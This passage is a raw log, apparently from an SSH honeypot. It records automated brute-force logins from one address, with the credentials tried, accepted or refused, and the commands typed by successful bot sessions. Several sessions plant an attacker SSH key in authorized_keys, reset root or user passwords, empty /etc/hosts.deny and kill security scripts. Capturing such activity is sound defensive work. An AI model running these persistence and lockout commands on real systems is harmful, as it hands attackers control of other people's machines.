node\n^C"},{"seq":23,"at":"2026-08-27T02:33:17.541278+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:33:17.541631+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:33:18.088696+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:33:18.089660+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:33:18.636291+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:33:18.650753+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:33:19.181405+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:33:20.058358+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:33:20.604247+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:33:21.114064+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwedc","method":"password","accepted":true,"tier":"other"}]} {"id":"304a6b3f-3665-4713-bb3c-97716ed01660","name":"dewy-mossy-wigeon","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":59824,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:33:07.889239+00:00","ended_at":"2026-08-27T02:33:09.531593+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"aec10140-ed68-471f-9367-23e0ad6e370d","name":"quiet-civil-warbler","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":59820,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:33:05.124615+00:00","ended_at":"2026-08-27T02:33:06.573448+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d2ed0ae5-3684-4459-8743-abd8b5c7cb49","name":"placid-fleeting-oxpecker","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":53928,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:29:46.085188+00:00","ended_at":"2026-08-27T02:29:47.125407+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"admin01","method":"password","accepted":false,"tier":"other"}]} {"id":"a0d34dad-6286-40f0-9fff-5ff2ffb87d08","name":"zealous-lawful-chickadee","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":34832,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":522,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:27:02.181397+00:00","ended_at":"2026-08-27T02:27:03.575059+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T02:26:38.123116+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:26:38.660682+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:26:44.212449+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:26:44.758413+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:26:45.278735+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9IrdI8sIQ1wN\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:26:45.798783+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:26:46.325189+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:26:46.985872+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:26:47.510230+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:26:48.968945+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:26:49.502314+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:26:50.337511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:26:50.858407+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:26:51.644353+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:26:52.164687+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:26:52.902352+00:00","kind":"output","latency_ms":null,"data":" 02:26:52 up 6 days, 23:16, 0 user, load average: 0.22, 0.27, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:26:53.420787+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:26:54.116181+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:26:54.659432+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:26:55.146092+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:26:55.669759+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:26:56.550874+00:00","kind":"output","latency_ms":null,"data":"top - 02:26:56 up 6 days, 23:17, 0 user, load average: 0.22, 0.27, 0.18\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:26:57.073833+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:26:57.726674+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:26:58.247338+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:26:58.555614+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:26:59.077238+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:26:59.684740+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:27:00.212635+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:27:01.480800+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:27:02.182261+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:27:03.408947+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Zxcv@123","method":"password","accepted":true,"tier":"other"}]} {"id":"b29f6bd0-18a8-465c-afea-53e219109e65","name":"boreal-ashen-pika","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":39184,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:26:42.385386+00:00","ended_at":"2026-08-27T02:26:44.046015+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dcf34b81-2ec0-4c33-b9ea-2a1e6ab2d9cb","name":"wandering-gallant-bison","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":34840,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:26:39.911154+00:00","ended_at":"2026-08-27T02:26:41.330970+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bbfb45e5-1981-4a34-80ab-474bc3436298","name":"watchful-honest-hoopoe","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":57042,"username":"chenyu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":562,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:24:11.138293+00:00","ended_at":"2026-08-27T02:24:12.590042+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T02:23:46.260685+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:23:46.831266+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:23:56.055283+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:23:56.055707+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:23:56.618009+00:00","kind":"input","latency_ms":null,"data":"echo -e \"chenyu123\\nU59TincG9W9s\\nU59TincG9W9s\"|passwd|bash"},{"seq":6,"at":"2026-08-27T02:23:57.219223+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-27T02:23:58.166590+00:00","kind":"input","latency_ms":null,"data":"echo \"chenyu123\\nU59TincG9W9s\\nU59TincG9W9s\\n\"|passwd"},{"seq":8,"at":"2026-08-27T02:23:59.044227+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T02:23:59.045046+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T02:23:59.658215+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T02:24:00.426903+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T02:24:00.986341+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T02:24:01.789564+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T02:24:02.347170+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T02:24:02.347793+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T02:24:02.920036+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T02:24:02.920552+00:00","kind":"output","latency_ms":null,"data":" 02:24:02 up 6 days, 23:14, 0 user, load average: 0.25, 0.24, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T02:24:03.479409+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T02:24:03.479872+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T02:24:04.036914+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T02:24:04.037636+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T02:24:04.639340+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T02:24:05.255475+00:00","kind":"output","latency_ms":null,"data":"top - 02:24:05 up 6 days, 23:14, 0 user, load average: 0.25, 0.24, 0.26\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T02:24:05.874379+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T02:24:06.762305+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T02:24:07.317110+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T02:24:07.654280+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T02:24:08.217545+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T02:24:09.121087+00:00","kind":"output","latency_ms":null,"data":"chenyu"},{"seq":30,"at":"2026-08-27T02:24:09.681962+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T02:24:10.580341+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T02:24:11.139072+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T02:24:12.419397+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"chenyu","password":"chenyu123","method":"password","accepted":true,"tier":"other"}]} {"id":"a2585b96-224b-430d-84a3-e187d5b14c92","name":"lonesome-lofty-otter","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":59386,"username":"chenyu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:23:55.088739+00:00","ended_at":"2026-08-27T02:23:55.776718+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"chenyu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"da7f7032-4d4e-4c66-b28d-1926f78aaf48","name":"northern-painted-kakapo","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":57052,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:23:51.780690+00:00","ended_at":"2026-08-27T02:23:53.111713+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"10042d62-abe8-4b59-8dfc-60b474509ea1","name":"mindful-sleepy-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":46760,"username":"yousef","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":513,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:20:56.350939+00:00","ended_at":"2026-08-27T02:20:57.008370+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T02:20:36.391782+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:20:36.905550+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:20:46.784365+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:20:46.784718+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:20:47.310720+00:00","kind":"input","latency_ms":null,"data":"echo -e \"yousef123\\nfSlqD6jywedl\\nfSlqD6jywedl\"|passwd|bash"},{"seq":6,"at":"2026-08-27T02:20:47.960907+00:00","kind":"input","latency_ms":null,"data":"echo \"yousef123\\nfSlqD6jywedl\\nfSlqD6jywedl\\n\"|passwd"},{"seq":7,"at":"2026-08-27T02:20:48.470524+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:20:48.470997+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:20:48.981355+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:20:49.479478+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:20:49.990801+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:20:50.535210+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:20:51.095340+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:20:51.095772+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:20:51.609358+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:20:51.609669+00:00","kind":"output","latency_ms":null,"data":" 02:20:51 up 6 days, 23:10, 0 user, load average: 0.14, 0.18, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:20:52.151236+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:20:52.151629+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:20:52.674151+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:20:52.675644+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:20:53.186229+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:20:53.186685+00:00","kind":"output","latency_ms":null,"data":"top - 02:20:53 up 6 days, 23:11, 0 user, load average: 0.14, 0.18, 0.09\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:20:53.699533+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:20:53.699906+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:20:54.209085+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:20:54.209906+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:20:54.732413+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:20:54.732770+00:00","kind":"output","latency_ms":null,"data":"yousef"},{"seq":29,"at":"2026-08-27T02:20:55.246912+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:20:55.819956+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:20:56.351729+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:20:56.830147+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"yousef","password":"yousef123","method":"password","accepted":true,"tier":"other"}]} {"id":"5f53b2c0-f98c-4707-99c2-2d90f37cf008","name":"quiet-umber-gecko","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":47810,"username":"yousef","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:20:45.678091+00:00","ended_at":"2026-08-27T02:20:46.561806+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"yousef","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"110ee8ca-7351-40de-9425-3425cfd19f6e","name":"vigilant-kindly-manatee","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":46772,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:20:40.118620+00:00","ended_at":"2026-08-27T02:20:42.064727+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"eb077dd9-d37c-4314-ba6d-ceb3d85437a3","name":"gritty-bold-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":59286,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":551,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:17:40.565599+00:00","ended_at":"2026-08-27T02:17:41.267934+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T02:17:22.435759+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:17:22.983548+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:17:30.386229+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:17:30.388343+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:17:30.931844+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ON0bC2b0QEr0\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:17:31.495165+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 